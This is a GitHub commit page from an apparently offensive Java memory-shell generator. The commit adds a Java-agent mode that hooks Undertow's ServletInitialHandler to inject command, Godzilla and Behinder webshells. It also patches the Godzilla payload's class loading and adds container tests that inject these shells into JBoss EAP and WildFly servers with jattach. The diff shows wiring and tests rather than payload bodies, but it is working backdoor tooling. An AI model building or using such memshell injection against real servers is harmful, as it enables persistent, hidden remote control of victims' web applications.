Skip to content

Commit 09ee91f

Browse files
committed
feat: support undertow agent shell (#21)
1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21 2. fix godzilla payload error in some module system that cost my five hour to debug
1 parent eb05735 commit 09ee91f

File tree

14 files changed

+372
-34
lines changed

14 files changed

+372
-34
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,14 @@
77
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
88
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
99
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
10+
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
1011
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
12+
import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
1113
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
14+
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
1215
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
1316
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
17+
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
1418
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
1519
import org.apache.commons.lang3.tuple.Pair;
1620

@@ -23,6 +27,7 @@
2327
* @since 2024/12/10
2428
*/
2529
public class UndertowShell extends AbstractShell {
30+
public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
2631

2732
@Override
2833
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
@@ -32,7 +37,8 @@ protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
3237
FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
3338
JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
3439
LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
35-
JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
40+
JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
41+
AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)
3642
);
3743
}
3844

@@ -44,7 +50,8 @@ protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
4450
FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
4551
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
4652
LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
47-
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
53+
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
54+
AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)
4855
);
4956
}
5057

@@ -56,7 +63,8 @@ protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
5663
FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
5764
JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
5865
LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
59-
JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
66+
JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
67+
AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)
6068
);
6169
}
6270
}

godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -195,10 +195,14 @@ public static Object getFieldValue(Object obj, String fieldName) throws Exceptio
195195
return f2.get(obj);
196196
}
197197

198-
private static Class getClass(String name) {
198+
private static Class getClass(ClassLoader classLoader, String name) {
199199
try {
200200
return Class.forName(name);
201201
} catch (Exception e) {
202+
try {
203+
return Class.forName(name, false, classLoader);
204+
} catch (Exception ignored) {
205+
}
202206
return null;
203207
}
204208
}
@@ -493,11 +497,11 @@ private boolean supportClass(Object obj, String classNameString) {
493497
}
494498
boolean ret = false;
495499
try {
496-
Class c2 = getClass(String.format(classNameString, "javax"));
500+
Class c2 = getClass(obj.getClass().getClassLoader(), String.format(classNameString, "javax"));
497501
if (c2 != null) {
498502
ret = c2.isAssignableFrom(obj.getClass());
499503
}
500-
if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) {
504+
if (!ret && (c = getClass(obj.getClass().getClassLoader(), String.format(classNameString, "jakarta"))) != null) {
501505
ret = c.isAssignableFrom(obj.getClass());
502506
}
503507
} catch (Exception e) {
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
jbosseap7:
3+
image: reajason/jboss:eap-7-jdk8
4+
container_name: jbosseap7
5+
ports:
6+
- 8080:8080
7+
- 5005:5005
8+
environment:
9+
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n -Xms1303m -Xmx1303m -XX:MetaspaceSize=96M -XX:MaxMetaspaceSize=256m -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/standalone/deployments/app.war

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.reajason.javaweb.integration.jbosseap;
22

3+
import com.reajason.javaweb.memshell.JbossShell;
34
import com.reajason.javaweb.memshell.config.Constants;
45
import com.reajason.javaweb.memshell.config.Server;
56
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,8 +18,7 @@
1718

1819
import java.util.stream.Stream;
1920

20-
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
21-
import static com.reajason.javaweb.integration.ContainerTool.warFile;
21+
import static com.reajason.javaweb.integration.ContainerTool.*;
2222
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
2323
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
2424
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class JbossEap6ContainerTest {
3636
@Container
3737
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
3838
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
39+
.withCopyToContainer(jattachFile, "/jattach")
40+
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
3941
.waitingFor(Wait.forHttp("/app"))
4042
.withExposedPorts(8080);
4143

@@ -49,7 +51,10 @@ static Stream<Arguments> casesProvider() {
4951
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
5052
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
5153
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
52-
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
54+
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
55+
arguments(imageName, JbossShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
56+
arguments(imageName, JbossShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
57+
arguments(imageName, JbossShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
5358
);
5459
}
5560

@@ -62,6 +67,6 @@ static void tearDown() {
6267
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
6368
@MethodSource("casesProvider")
6469
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
65-
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer);
70+
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container);
6671
}
6772
}

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.reajason.javaweb.integration.jbosseap;
22

3+
import com.reajason.javaweb.memshell.UndertowShell;
34
import com.reajason.javaweb.memshell.config.Constants;
45
import com.reajason.javaweb.memshell.config.Server;
56
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,8 +18,7 @@
1718

1819
import java.util.stream.Stream;
1920

20-
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
21-
import static com.reajason.javaweb.integration.ContainerTool.warFile;
21+
import static com.reajason.javaweb.integration.ContainerTool.*;
2222
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
2323
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
2424
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class JbossEap7ContainerTest {
3636
@Container
3737
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
3838
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
39+
.withCopyToContainer(jattachFile, "/jattach")
40+
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
3941
.waitingFor(Wait.forHttp("/app"))
4042
.withExposedPorts(8080);
4143

@@ -58,7 +60,10 @@ static Stream<Arguments> casesProvider() {
5860
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
5961
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
6062
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
61-
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
63+
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
64+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
65+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
66+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
6267
);
6368
}
6469

@@ -71,6 +76,6 @@ static void tearDown() {
7176
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
7277
@MethodSource("casesProvider")
7378
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
74-
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer);
79+
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container);
7580
}
7681
}

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.reajason.javaweb.integration.wildfly;
22

3+
import com.reajason.javaweb.memshell.UndertowShell;
34
import com.reajason.javaweb.memshell.config.Constants;
45
import com.reajason.javaweb.memshell.config.Server;
56
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,8 +18,7 @@
1718

1819
import java.util.stream.Stream;
1920

20-
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
21-
import static com.reajason.javaweb.integration.ContainerTool.warFile;
21+
import static com.reajason.javaweb.integration.ContainerTool.*;
2222
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
2323
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
2424
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class Wildfly18ContainerTest {
3636
@Container
3737
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
3838
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
39+
.withCopyToContainer(jattachFile, "/jattach")
40+
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
3941
.waitingFor(Wait.forHttp("/app"))
4042
.withExposedPorts(8080);
4143

@@ -49,7 +51,10 @@ static Stream<Arguments> casesProvider() {
4951
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
5052
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
5153
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
52-
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
54+
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
55+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
56+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
57+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
5358
);
5459
}
5560

@@ -62,6 +67,6 @@ static void tearDown() {
6267
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
6368
@MethodSource("casesProvider")
6469
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
65-
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
70+
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
6671
}
6772
}

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.reajason.javaweb.integration.wildfly;
22

3+
import com.reajason.javaweb.memshell.UndertowShell;
34
import com.reajason.javaweb.memshell.config.Constants;
45
import com.reajason.javaweb.memshell.config.Server;
56
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,8 +18,7 @@
1718

1819
import java.util.stream.Stream;
1920

20-
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
21-
import static com.reajason.javaweb.integration.ContainerTool.warFile;
21+
import static com.reajason.javaweb.integration.ContainerTool.*;
2222
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
2323
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
2424
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class Wildfly23ContainerTest {
3636
@Container
3737
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
3838
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
39+
.withCopyToContainer(jattachFile, "/jattach")
40+
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
3941
.waitingFor(Wait.forHttp("/app"))
4042
.withExposedPorts(8080);
4143

@@ -49,7 +51,10 @@ static Stream<Arguments> casesProvider() {
4951
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
5052
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
5153
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
52-
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
54+
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
55+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
56+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
57+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
5358
);
5459
}
5560

@@ -62,6 +67,6 @@ static void tearDown() {
6267
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
6368
@MethodSource("casesProvider")
6469
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
65-
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
70+
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
6671
}
6772
}

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.reajason.javaweb.integration.wildfly;
22

3+
import com.reajason.javaweb.memshell.UndertowShell;
34
import com.reajason.javaweb.memshell.config.Constants;
45
import com.reajason.javaweb.memshell.config.Server;
56
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,8 +18,7 @@
1718

1819
import java.util.stream.Stream;
1920

20-
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
21-
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
21+
import static com.reajason.javaweb.integration.ContainerTool.*;
2222
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
2323
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
2424
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +36,8 @@ public class Wildfly30ContainerTest {
3636
@Container
3737
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
3838
.withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
39+
.withCopyToContainer(jattachFile, "/jattach")
40+
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
3941
.waitingFor(Wait.forHttp("/app"))
4042
.withExposedPorts(8080);
4143

@@ -49,7 +51,10 @@ static Stream<Arguments> casesProvider() {
4951
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
5052
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
5153
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
52-
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
54+
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
55+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
56+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
57+
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
5358
);
5459
}
5560

@@ -62,6 +67,6 @@ static void tearDown() {
6267
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
6368
@MethodSource("casesProvider")
6469
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
65-
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer);
70+
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container);
6671
}
6772
}

0 commit comments

Comments
 (0)